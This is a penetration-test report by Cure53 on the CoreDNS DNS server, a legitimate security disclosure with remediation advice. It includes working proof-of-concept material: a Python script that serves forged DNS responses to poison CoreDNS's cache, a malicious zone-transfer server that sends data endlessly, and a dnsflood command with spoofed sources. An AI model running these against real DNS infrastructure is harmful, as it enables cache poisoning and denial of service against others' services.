Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report CoreDNS 02.-03.2018

Cure53, Dr.-Ing. M. Heiderich, M. Wege, MSc. N. Krein, BSc. J. Hector, J. Larsson, Dipl.-Ing. A. Inführ

Index

Introduction

"CoreDNS is a DNS server. It is written in Go.

CoreDNS is different from other DNS servers, because it is very flexible; it chains plugins. Each plugin performs a DNS function, such as Kubernetes service discovery, Prometheus metrics or rewriting queries.

We aim to make CoreDNS fast and efficient. We strive keep things as simple as possible and have sane defaults. CoreDNS integrates with Kubernetes or directly with etcd."

From https://www.coredns.io

This report documents the findings of a security assessment against the CoreDNS project. Cure53 was commissioned to conduct this security-centered investigation by the Linux Foundation. The investigation, which encompassed both a source code audit and a penetration, was completed over the course of several weeks and concluded in March 2018. Four security-relevant findings, including one at a "Critical" level, were revealed to affect the CoreDNS software tested by the Cure53 team.

As already mentioned, the Linux Foundation sponsored the test with the necessary budget. In order to provide satisfactory coverage under the specific premise, six testers from the Cure53 were executing this test with the use of a white-box methodology. This approach means that all necessary information was available, including and the software maintainers shared insights and details as to particular tasks and focus. It has to be mentioned that the majority of the CoreDNS project sources can be attained online and are publicly available. In other words, the CoreDNS itself and its major DNS support library can be acquired from Github.

The actual testing was preceded by a dedicated meeting between the Cure53 project team and the CoreDNS maintainers. This was useful to determine which aspects or areas were possibly sensitive or crucially important for the overall development of the CoreDNS project. Consequently, Cure53 could be responsive and selective in their coverage. It was decided for the test to be split into two phases: first entailing a classic source code audit, and the second signifying a penetration test against several running instances of the CoreDNS set up by the Cure53 testers. Unlike in the majority security assessment conducted at present, the communications for this test were done via email messages. Normally, an absence of a dedicated live-exchange channel may impede the pace of the assessment, especially in face of commonly emerged technical barriers, yet the real-time communication was not needed for this test. In particular, there was no intermediate action required from the development team, so the turnaround times accomplished with email messages proved unproblematic.

The aforementioned four security-relevant findings were all identified during the second stage of a penetration test component. The manual code audit yielded nothing of relevance, as is to be expected from modern environments like the used Go framework. Among the discoveries, one “Critical” problem warrants immediate fixes, while the rest constitute rather minor flaws, suitable as recommendations to deploy more defense-in-depth fixes and approaches.

It needs to be emphasized that the scope of this CoreDNS test was quite extensive and ranged from manual auditing to attacking the software from many angles and in a variety of configurations, all the while using the source code as a reference. Under this broad premise, the report will now further elaborate on the scope of the test in greater detail. In the following sections, it furnished a discussion of the coverage and presents all findings alongside relevant remediation advice. Finally, the document closes with a broader verdict and notes on the state of security matters at the CoreDNS compound in light of this Cure53 assessment.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Scope

- **CoreDNS DNS Server Software**
    - https://github.com/coredns/coredns
        - *Release 1.0.6, master/83b5eadb4e4af8698bb5aed9e243fc024f34296b*
    - https://github.com/miekg/dns
        - Release 1.0.4, master/5364553f1ee9cddc7ac8b62dce148309c386695b

Test Coverage

This section comments on the test coverage reached by the testing team in the given timeframe. These explanations are necessary for the next steps in any project with an extensive scope.

The system was initially built and installed with different configurations, ranging from a plain binary via a simple container to the Kubernetes orchestration. In the background, it was additionally all working around small, release-related incompatibilities. The source code was scouted for different areas of isolatable concern and separated assessment responsibilities were delineated. This test structure was compliant with the particular requests from the development team during the kickoff meeting. It was relatively quickly concluded that a manual static code analysis can yield very little and such an approach was therefore dismissed. Nevertheless, the sources were checked in particular areas for common mistakes like external command execution. This was done along with file and input handling exported by the system and used by the respective integration within the software. Special care was given to the *core/coremain/request* components before moving on to the plugins deemed exposed, i.e. *template, whoami, file, cache, health* and *hosts*.

Moving onto more dynamic penetration testing, while still comparing the implementation source code with the observations made, the correct functioning of the specialized string parsers was analyzed. As these are responsible for dealing with domains, subdomains, ports, etc., they were probed for unexpected behavior. Various tests were undertaken in relation to specific problems with common configurations. They covered the domains of reflection, amplification and DoS/SYN-flooding attacks, yet none of them were fruitful. A number of attempts was made to poison the DNS cache, with one configuration actually succeeding to do so. The problems talked about CNAME and A entries being corrupted, additional records added and specific domain rules in the configuration permuted. Certain operations were performed on the overly long subdomain and domain names with a focus on the *rewrite* module. This led to a mere logging evasion.

Non-terminating and data starving zone transfers were successfully executed but only yielded DNS-inherent problems. Although *length* fields in the DNS requests were corrupted, they were correctly handled by the software. Additional inroads were made on the recursion implementation and the parsing of the HTTP requests was attacked with verve. Additional focus was given to the field of transaction ID generation and verification. Several DNS-related tools were adopted to facilitate further investigation of the potential corruption issues. Very little made the software budge and only minor flaws were found.

The Kubernetes setup was run in *IPv6*-only mode and checked for fragmentation and addressing problems. Several DoS vectors, long *TXT* records, D*NSSEC*-throttling and various IP-header spoofing and randomization attempts were carried out to no avail. Similarly, quite a few amplification scenarios were able to halt the server until the end of the attack, but never made it all the way to properly signal a crash or discombobulation in the long run. Testing time was also invested in verifying *DNSSEC* key material generation.

Finally, additional research was undertaken into which areas may be worthwhile when it comes to future coverage. It was concluded that there might be some vulnerable code in the *DNSSEC*-related lexing/parsing of input. At that point it was decided that the time left for the assessment is insufficient to properly divulge into this matter with significant results before the project’s end date.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *DNS-01-001*) for the purpose of facilitating any future follow-up correspondence.

DNS-01-003 Cache: DNS Cache poisoning via malicious Response (*Critical*)

The CoreDNS application allows to configure the caching of the DNS responses via the *cache* plugin. It was discovered that CoreDNS only verifies the transaction IDs but fails to check whether the domain in a request matches the response. This can be abused to inject malicious *A* records in the cache of the DNS server.

As the CoreDNS application has a different cache for each domain defined in the configuration, the following setup was used to demonstrate the behavior.

The first CoreDNS instance is used by clients. It forwards all requests to another CoreDNS instance and caches the response. The second CoreDNS instance sends requests for *example.com* to a local DNS instance, while the rest is send to Google's DNS server. The local DNS instance is a Python script, which only returns an *A* entry for *www.example2.com*, regardless of the original query.

Name:
CoreDNS server 1

Config:
```
. {
        forward . 10.0.0.2
        cache
        log
}
```

Name:
CoreDNS server 2 - 10.0.0.2

Config:
```
example.com {
        forward . 127.0.0.1:5353
        log
        cache
}
```

```
. {
	forward . 8.8.8.8
	log
	cache
}
```

Name:
Python_dns.py

Code:
```
import socket
UDPSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
listen_addr = ("",5353)
UDPSock.bind(listen_addr)

while True:
	data,addr = UDPSock.recvfrom(1024)
	packet = data[0:2] +
	"\x85\x80\x00\x01\x00\x01\x00\x01\x00\x01\x03\x77\x77\x77\x08\x65\x78\x61
	\x6d\x70\x6c\x65\x32\x03\x63\x6f\x6d\x00\x00\x01\x00\x01\xc0\x0c\x00\x01\
	x00\x01\x00\x00\x07\x08\x00\x04\xc0\xa8\x00\x57\xc0\x10\x00\x02\x00\x01\x
	00\x00\x07\x08\x00\x0e\x03\x6e\x73\x31\x07\x65\x78\x61\x6d\x70\x6c\x65\xc
	0\x19\xc0\x3e\x00\x01\x00\x01\x00\x00\x07\x08\x00\x04\xc0\xa8\x00\x57"
	print "SENDING"
	UDPSock.sendto(packet, addr)
```

Steps to reproduce:

- Send a query for www.example.com to the first CoreDNS instance (*10.0.0.1*). This will reach the Python script on host *10.0.0.2:5353.*
- The script sends a DNS response with an *A* entry for www.example2.com
- The first CoreDNS instance has now cached this response although the domains in the query and response did not match.
- Observe the traffic on *10.0.0.1.*
- Send a query for www.example2.com to the first CoreDNS instance.
- Given the configuration, this request should be forwarded to the Google DNS server but instead it will be served from the cache by the first CoreDNS instance.

It is recommended to verify that the requested domain name matches the response prior to having it cached. A revised approach ensures that a malicious DNS Server cannot inject custom DNS entries for other domains into the CoreDNS cache.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

DNS-01-001 Rewrite: Overlong Domain Names bypass Logging *(Medium)*

The CoreDNS application allows to rewrite DNS requests and responses via the *rewrite* plugin. During the assessment of this plugin it was discovered that a certain edge case can be abused to bypass the logging mechanism.

The DNS standard defines that the maximum length of a domain name is 253 characters. It is possible to use the rewrite feature to modify the domain name, which then exceeds the maximum length. The DNS query is still forwarded to the defined DNS server, which will respond with *"Format Error"*. The request as well as the response will not be logged by the CoreDNS application.

It must be noted that this behavior was verified with a standard *bind* configuration.

Affected File:
coredns.config

Affected Code:
```
. {
    rewrite name regex (.*).example.com
ddddddddddddddddddddddddddddddddddddddddd.bbbbbbbbbbbbbbbbbbbbbcccccccc.
{1}.example.com
    forward . 10.0.0.1
    log
}
```

DNS Query example:
```
bbbb.bbbb.bbbb.bbbbbccccccccc.dddddddddddddddbbb.ffff.www.aaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
a.example.com
```

It is recommended to check the length of a DNS domain name after it has been rewritten. This ensures that the CoreDNS application does not send invalid DNS packets which otherwise bypass the internal logging mechanism.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

DNS-01-002 Secondary: Denial-of-Service via endless Zone Transfer *(Info)*

The CoreDNS application can be configured as a secondary name server via the *secondary* plugin. This allows to configure a DNS server used for a retrieval of the zone file. It was discovered that a malicious DNS server can send endlessly zone file information, which will lock up the CoreDNS application and makes it unresponsive to all queries.

Affected File:
Coredns.config

Affected Code:
```
example.com. {
	log
	cache
	secondary {
		transfer from 10.0.0.1
	}
}

.  {
	forward . 8.8.8.8
	log
	cache
}
```

File:
Malicious_server.py

Code:
```
#!/usr/bin/env python
import socket

TCP_IP = '0.0.0.0'
TCP_PORT = 53
BUFFER_SIZE = 1024

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((TCP_IP, TCP_PORT))
s.listen(1)

conn, addr = s.accept()
print 'Connection address:', addr
while 1:
	data = conn.recv(BUFFER_SIZE)
	if not data: break
	print "received data:"
```

```
        # Start of the Zone File, contains the SOA record
        packet = "[...]"
        # Only contains A records
        packet2 = "[...]"
        print "SENDING"
        transaction_id = data[2:4]
        # Set the correct transaction id
        packet = packet.replace("\xcd\x07",transaction_id)
        packet2 = packet2.replace("\xcd\x07",transaction_id)
        conn.send(packet)
        while True:
                conn.send(packet2)
conn.close()
```

This Denial-of-Service attack is rather against the DNS protocol itself than the CoreDNS application. This vulnerability requires a malicious primary name server being specified in the configuration file, which is quite an unlikely scenario. Therefore, the risk could be accepted. Another possibility of reacting here would be to enforce a timeout for the *secondary* plugin in which the zone transfers have to be finished.

DNS-01-004 Denial-of-Service through large Queries *(Info)*

Another Denial-of-Service vector was discovered in the CoreDNS. This flaw renders the service unresponsive, leading to queries reaching the set TTL and a timeout. The attacker creates crafted DNS queries with spoofed IP HEADERS that contain random IP addresses and random source ports. The crafted queries ask for a *testszone.com,* which is a *dnssec*-signed *A* record. Therefore, the query type is set to look up the *A* record, followed by a lookup of a *TXT* record containing a 255 character-long string filled with '*A*'. When these queries are sent to the server, the service freezes up until the flooding of requests has stopped. During the test it was importantly not possible to crash the CoreDNS service.

Affected File:
Coredns.config

Affected Code:
```
testzone.com {
        cache
        log
        dnssec {
            key file Ktestzone.com.+013+53093.key
    }
        whoami
}
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Tools used for this attack:
https://code.google.com/p/dns-flood/

```
./dnsflood testzone.com 172.16.16.130 -t TXT
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA -r -p 12345 -n 9999999
```

This DoS vector is not a CoreDNS specific issue but rather an attack on the DNS protocol itself, especially in regard to UDP-based DNS services. These issues are universal for all DNS implementations and no direct mitigation is known in this realm.

Conclusions

The CoreDNS software tested by Cure53 during this March 2018 assessment has made a clearly positive impression. Six testers involved in completing this security project, commissioned and funded by the Linux Foundation, can confirm that the CoreDNS is developed with security in mind and adheres to best practices and approaches. Only five issues could be spotted and, what is more, the overall the test coverage is considered to be above average and relatively complete when compared to the projects of similar complexity and time budget granted.

To comment on some particulars, the development team at CoreDNS requested for special attention to be paid to certain threats and issues. Thus a rather specific thread-model was developed to consider the exposure of non-DNS network resources, with the exposure of gRPC identified as an event that would be totally unacceptable. In this context, the obvious components to account for during the test were the DNS and DNSSEC implementations, one of the most feared attacks in this area being the Denial-of-Service or Slowloris-type issues. Note that the used DNS library (miekg/dns) implements the *EDNS* options for DNS cookies to prevent Denial-of-Service, amplification/ forgery and cache poisoning attacks, yet the CoreDNS does not make use of them. It might be worth investigating whether implementing DNS cookies is a viable additional security option.

The DoS scenarios were only the baseline and much time was invested in attempts to take down the CoreDNS server beyond simple Denial-of-Service scenarios and instead getting it to get stuck in non-recoverable states. These routes focused on making sure that the software would stay unresponsive after extended timeouts. However, these attempts were mostly futile and the software was found to scale incredibly well under the scrutiny and exceedingly tough attack approaches. Once again, the defense mechanisms and resilience of the CoreDNS software were praiseworthy in this realm.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Another area investigated in detail concerned the Kubernetes-cluster deployment and Zone-file parsing. In this realm the *Unbound*-plugin, which bridges into the legacy world, was left out of scope completely. While in several cases, especially the DNS support library, the test coverage was quite extensive, in other arenas the time constraints merely allowed basic tests for regression. This affected input lexing and parsing locations especially. Consequently, it is recommended that test cases are extended to also cover non-compliant data.

The application of fuzzing tools entails one more commendable item, though the scope could also be more extensive here. Cure53 recommends to extend the build process to include regular static code analysis as offered for free by at least some of the modern tooling companies catering to open source projects of public interest.

There is little doubt out there that infrastructure of this size and complexity, implemented in modern environments like Go, is frustratingly hard to audit, whether it is subjected to manual static code analysis or actual dynamic pentesting. The individual setup times and resources required to grasp the problem domain along with the project's approach to addressing the issues must be noted as general barriers because they take extremely long. As such, it might be common to see the results of an audit as always somewhat unsatisfactory. It is strongly recommended for the CoreDNS team to fully integrate security-related auditing into the development process, as auditing as an afterthought simply does not suffice.

To conclude, even though four issues were found during this Cure53 assessment, they were generally - with a single exception - minor, miscellaneous and manageable. Despite Cure53 testers' considerable efforts, the software was found to be hard to corrupt. Therefore, the CoreDNS project stands out as secure, robust and legitimately security-aware. It is hereby concluded that a good level of maturity translate to readiness for deployment and CoreDNS can be recommended to proceed in good conscience within the distributed cloud environments.

Cure53 would like to thank Miek Gieben, John Belamaric, Yong Tang and others from the CoreDNS team as well as Chris Aniszczyk of The Linux Foundation for their good project coordination, support and assistance, both before and during this assignment.